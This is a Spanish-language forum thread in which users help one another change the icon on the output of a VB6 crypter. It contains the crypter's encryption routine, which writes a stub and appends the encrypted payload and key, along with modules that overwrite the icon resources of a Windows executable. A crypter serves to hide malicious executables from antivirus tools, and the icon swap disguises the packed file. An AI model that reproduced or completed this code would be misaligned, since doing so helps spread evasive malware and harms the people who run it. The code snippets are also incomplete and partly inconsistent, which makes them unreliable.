Ayuda con cambio de Icono en Cripter

[Yeshua]

Hola estoy modificando el soucer de un crypter, le quiero añadir la opción de que me cambie el icono del archivo cifrado. Me he quedado ahí que no avanzo ya que si no marco la opción de cifrar el cripter funciona a la parfección, pero si no lo marco el cmd de cifrar se queda sin funcionar, no anda hasta que lo desmarque... El programa no me da errores, los modulos creo que estan bien, al igual que los eventos... este es el codigo del cmd para cifrar

Código (vb) [Seleccionar] Expandir

Private Sub chameleonButton3_Click()
On Error GoTo ende
    Dim Buffer() As Byte
    Dim ResBuffer() As Byte
    Dim EofData As String
    Dim Buffer2 As String
    Dim Stubpath As String
       
         Dim eRR As String
         
        If Text1.Text = "" Then
        MsgBox "Selecciona el fichero a cifrar"
     chameleonButton1 = True
  End If
       
    With CommonDialog1
        .CancelError = True
        .DialogTitle = "Select where to save the crypted file.."
        .DefaultExt = ".exe"
        .Filter = "Executables|*.exe"
        .FileName = "Crypted232.exe"
       
        If Op1.Value = True Then
ReplaceIcons CommonDialog1.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR
End If
    End With
   
     
   
    CommonDialog1.ShowSave
    Stubpath = CommonDialog1.FileName
   
    ResBuffer() = LoadResData(101, "STUB")
    Open Stubpath For Binary As #2
    Put #2, , ResBuffer()
    Close #2

    Text3.Text = Text3.Text & "File read.." & vbCrLf
    Text3.Text = Text3.Text & "Crypting.." & vbCrLf
   
    EncodeArrayB LoadFile(Text1.Text), Text2.Text
    Buffer() = encoded()
   
    Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
    EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
   
       


    Open Stubpath For Binary As #1
    Put #1, LOF(1) + 1, "<F1l3>"
    Put #1, LOF(1) + 1, Buffer()
    Put #1, LOF(1) + 1, "<F1l3>"
    Put #1, LOF(1) + 1, Text2.Text
    Put #1, LOF(1) + 1, "<F1l3>"
    Put #1, LOF(1) + 1, EofData
    Close #1
   
   

    'PatchEOF Stubpath 'removed cause it crashes the eof data
   
    Open Stubpath For Binary As #1
    Put #1, LOF(1) + 1, EofData
    Close #1
   
   
    Call ReplaceIcons(CommonDialog1.FileName, Stubpath, eRR)
   
   


    Text3.Text = Text3.Text & "Successfull!" & vbCrLf
    MsgBox "The file has been successfully crypted", 64, "Lilith"
ende:
End Sub


Si alguien me puede ayudar se lo agradezco mucho, le podria pasar el source completo por si así no lo ve claro.

Gracias de antemano, un saludo.

[el_c0c0]

a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes


edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo

saludos

[WestOn]

Wenas, habia un tema de aauronduran2 q hablaba de lo mismo (si no recuerdo mal), echale un vistazo tendra un par de meses el tema.

un saludo

[Yeshua]

a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes


edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo

saludos

Pues si te digo la verdad esta asi xq lo pase a un colega y me lo dejo así, cosa que yo tampoco comprendí pero bueno, confié que debería de ser así  xD. Pruebo lo que me decis a ver si de una vez puedo continuar, Gracias a los 2. Ya os contaré.

[aaronduran2]

Lo ideal sería:

Código (vb) [Seleccionar] Expandir

If chkCambiarIcono.Value = Checked Then
    'Código para cambiar icono.
    'Código para guardar el ejecutable.
Else
    'Código para guardar el ejecutable.
End If

Este es el módulo que utilizo yo, aunque no funciona muy bien:

Código (vb) [Seleccionar] Expandir

Option Explicit

Public Type ICONDIR
    idReserved As Integer   ' Reserved (must be 0)
    idType As Integer       ' Resource Type (1 for icons)
    idCount As Integer      ' How many images?
    'ICONDIRENTRY   idEntries[1]; // An entry for each image (idCount of 'em)
End Type

Public Type ICONDIRENTRY
    bWidth As Byte          ' Width, in pixels, of the image
    bHeight As Byte         ' Height, in pixels, of the image
    bColorCount As Byte     ' Number of colors in image (0 if >=8bpp)
    bReserved As Byte       ' Reserved ( must be 0)
    wPlanes As Integer      ' Color Planes
    wBitCount As Integer    ' Bits per pixel
    dwBytesInRes As Long    ' How many bytes in this resource?
    dwImageOffset As Long   ' Where in the file is this image?
End Type


Public Type GRPICONDIR
    idReserved As Integer   ' Reserved (must be 0)
    idType As Integer       ' Resource Type (1 for icons)
    idCount As Integer      ' How many images?
    'ICONDIRENTRY   idEntries[1]; // An entry for each image (idCount of 'em)
End Type

Public Type GRPICONDIRENTRY
    bWidth As Byte          ' Width, in pixels, of the image
    bHeight As Byte         ' Height, in pixels, of the image
    bColorCount As Byte     ' Number of colors in image (0 if >=8bpp)
    bReserved As Byte       ' Reserved ( must be 0)
    wPlanes As Integer      ' Color Planes
    wBitCount As Integer    ' Bits per pixel
    dwBytesInRes As Long    ' How many bytes in this resource?
    dwIconID As Integer   ' Where in the file is this image?
End Type

Public Type Dat
    Data() As Byte
End Type

Public Type Ico
    IcoDir As ICONDIR
    Entries() As ICONDIRENTRY
    IcoData() As Dat
End Type

Public Type IcoExe
    IcoDir As GRPICONDIR
    Entries() As GRPICONDIRENTRY
End Type

Private Declare Function BeginUpdateResource Lib "kernel32.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private Const RT_ICON As Long = 3&
Private Const DIFFERENCE As Long = 11
Private Const RT_GROUP_ICON As Long = (RT_ICON + DIFFERENCE)

'// ReplaceIcoInExe "C:\EXEtoReplace.exe", OpenIconFile("C:\NewIcon.ico")

Public Function OpenIconFile(FileName As String) As Ico
Dim t As Ico 'structure temporaire
Dim X As Long 'compteur

'on ouvre le fichier
Open FileName For Binary As #1
    'on récupère l'entete du fichier
    Get #1, , t.IcoDir
   
    'redimensionne au nombre d'icones
    ReDim t.Entries(0 To t.IcoDir.idCount - 1)
    ReDim t.IcoData(0 To t.IcoDir.idCount - 1)
   
    'pour chaque icones
    For X = 0 To t.IcoDir.idCount - 1
        'récupère l'entete de l'icone
        Get #1, 6 + 16 * X + 1, t.Entries(X)
        'redimensionne à la taille des données
        ReDim t.IcoData(X).Data(t.Entries(X).dwBytesInRes - 1)
        'récupère les données
        Get #1, t.Entries(X).dwImageOffset + 1, t.IcoData(X).Data
    Next
'ferme le fichier
Close #1
'renvoie les données
OpenIconFile = t
End Function

Private Function MakeIcoExe(IconFile As Ico) As IcoExe
Dim t As IcoExe 'structure temporaire
Dim X As Long 'compteur

'nombre d'icones
t.IcoDir.idCount = IconFile.IcoDir.idCount
'type : Icone = 1
t.IcoDir.idType = 1
'chaque entrée
ReDim t.Entries(IconFile.IcoDir.idCount - 1)

'pour chaque entrée
For X = 0 To t.IcoDir.idCount - 1
    'entete d'icones
    t.Entries(X).bColorCount = IconFile.Entries(X).bColorCount
    t.Entries(X).bHeight = IconFile.Entries(X).bHeight
    t.Entries(X).bReserved = IconFile.Entries(X).bReserved
    t.Entries(X).bWidth = IconFile.Entries(X).bWidth
    t.Entries(X).dwBytesInRes = IconFile.Entries(X).dwBytesInRes
    t.Entries(X).dwIconID = X + 1
    t.Entries(X).wBitCount = IconFile.Entries(X).wBitCount
    t.Entries(X).wPlanes = IconFile.Entries(X).wPlanes
Next
'renvoie la structure
MakeIcoExe = t
End Function

Public Function ReplaceIcoInExe(FileName As String, IcoFile As Ico) As Boolean
Dim hWrite As Long 'handle de modification
Dim Exe As IcoExe 'structure de ressource icone
Dim ret As Long 'valeur de retour
Dim X As Long 'compteur
Dim D() As Byte 'buffer

'obtient un handle de modification
hWrite = BeginUpdateResource(FileName, 0)

'si échec, on quitte
If hWrite = 0 Then ReplaceIcoInExe = False: Exit Function

'sinon, on lit l'icone
Exe = MakeIcoExe(IcoFile)

'on redimmensionne le buffer
ReDim D(6 + 14 * Exe.IcoDir.idCount)
'on copie les données dans le buffer
CopyMemory ByVal VarPtr(D(0)), ByVal VarPtr(Exe.IcoDir), 6

'pour chaque icone
For X = 0 To Exe.IcoDir.idCount - 1
    'on copie les données
    CopyMemory ByVal VarPtr(D(6 + 14 * X)), ByVal VarPtr(Exe.Entries(X).bWidth), 14&
Next

'on met à jour la ressource groupe icone
ret = UpdateResource(hWrite, RT_GROUP_ICON, 1, 0, ByVal VarPtr(D(0)), UBound(D))

'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: EndUpdateResource hWrite, 1: Exit Function

'on met à jour chaque ressource icone
For X = 0 To Exe.IcoDir.idCount - 1
    ret = UpdateResource(hWrite, RT_ICON, Exe.Entries(X).dwIconID, 0, ByVal VarPtr(IcoFile.IcoData(X).Data(0)), Exe.Entries(X).dwBytesInRes)
Next

'on enregsitre dans le fichier executable
ret = EndUpdateResource(hWrite, 0)
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: Exit Function

'sinon succès
ReplaceIcoInExe = True
End Function

Uso:

Código (vb) [Seleccionar] Expandir

ReplaceIcoInExe "ruta archivo", OpenIconFile("ruta icono")

Saludos 

[Yeshua]

Hola respecto a la respuesta de el_c0c0 he de decir que ya lo hice, y si hago esto entonces me ecrypta de todas las maneras, esté o no marcada la opción de cambiar el ico. Pero lo que ocurre es que no cambia

aaronduran2 gracias por la respuesta, pero no creo qe sea del modulo ya que el mio me lo pasaron y anda bien, es este:

Código (vb) [Seleccionar] Expandir

Option Explicit
Type DIB_HEADER
   Size        As Long
   Width       As Long
   Height      As Long
   Planes      As Integer
   Bitcount    As Integer
   Reserved    As Long
   ImageSize   As Long
End Type

Type ICON_DIR_ENTRY
   bWidth            As Byte
   bHeight           As Byte
   bColorCount       As Byte
   bReserved         As Byte
   wPlanes           As Integer
   wBitCount         As Integer
   dwBytesInRes      As Long
   dwImageOffset     As Long
End Type

Type ICON_DIR
   Reserved          As Integer
   Type              As Integer
   Count             As Integer
End Type

Type DIB_BITS
   Bits()            As Byte
End Type

Public Enum Errors
   FILE_CREATE_FAILED = 1000
   FILE_READ_FAILED
   INVALID_PE_SIGNATURE
   INVALID_ICO
   NO_RESOURCE_TREE
   NO_ICON_BRANCH
   CANT_HACK_HEADERS
End Enum
Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long
   
   Dim IcoDir As ICON_DIR
   Dim IcoDirEntry As ICON_DIR_ENTRY
   Dim tBits As DIB_BITS
   Dim Icons() As IconDescriptor
   Dim lngRet As Long
   Dim BytesRead As Long
   Dim hSource As Long
   Dim hDest As Long
   Dim ResTree As Long
   
   hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
   If hSource >= 0 Then
      If Valid_ICO(hSource) Then
         SetFilePointer hSource, 0, 0, 0
         ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
         ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
         SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
         ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
         ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
         CloseHandle hSource
         hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0)
         If hDest >= 0 Then
            If Valid_PE(hDest) Then
               ResTree = GetResTreeOffset(hDest)
               If ResTree > 308 Then   ' Sanity check
                  lngRet = GetIconOffsets(hDest, ResTree, Icons)
                  SetFilePointer hDest, Icons(1).offset, 0, 0
                  WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
                  If Not HackDirectories(hDest, ResTree, Icons(1).offset, IcoDirEntry) Then
                     eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable.  File may not contain any icon resources."
                  End If
               Else
                  eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree.  File may be corrupt."
                  CloseHandle hDest
               End If
            Else
               eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable."
               CloseHandle hDest
            End If
         CloseHandle hDest
         Else
            eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program."
         End If
      Else
         eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file."
         CloseHandle hSource
      End If
   Else
      eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program."
   End If
   ReplaceIcons = 0
   Exit Function
ErrHandler:
   ReplaceIcons = eRR.Number
   Error = eRR.Description
End Function
Public Function Valid_ICO(hFile As Long) As Boolean
   Dim tDir          As ICON_DIR
   Dim BytesRead     As Long
   If (hFile > 0) Then
      ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0&
      If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
         Valid_ICO = True
      Else
         Valid_ICO = False
      End If
   Else
      Valid_ICO = False
   End If
End Function




También tengo otro modulo de PechanceIcon.

editado: Ya solucione el problema, era tan simple como en vez de usa button usar un check.

Espero que me sigan ayudando. Gracias.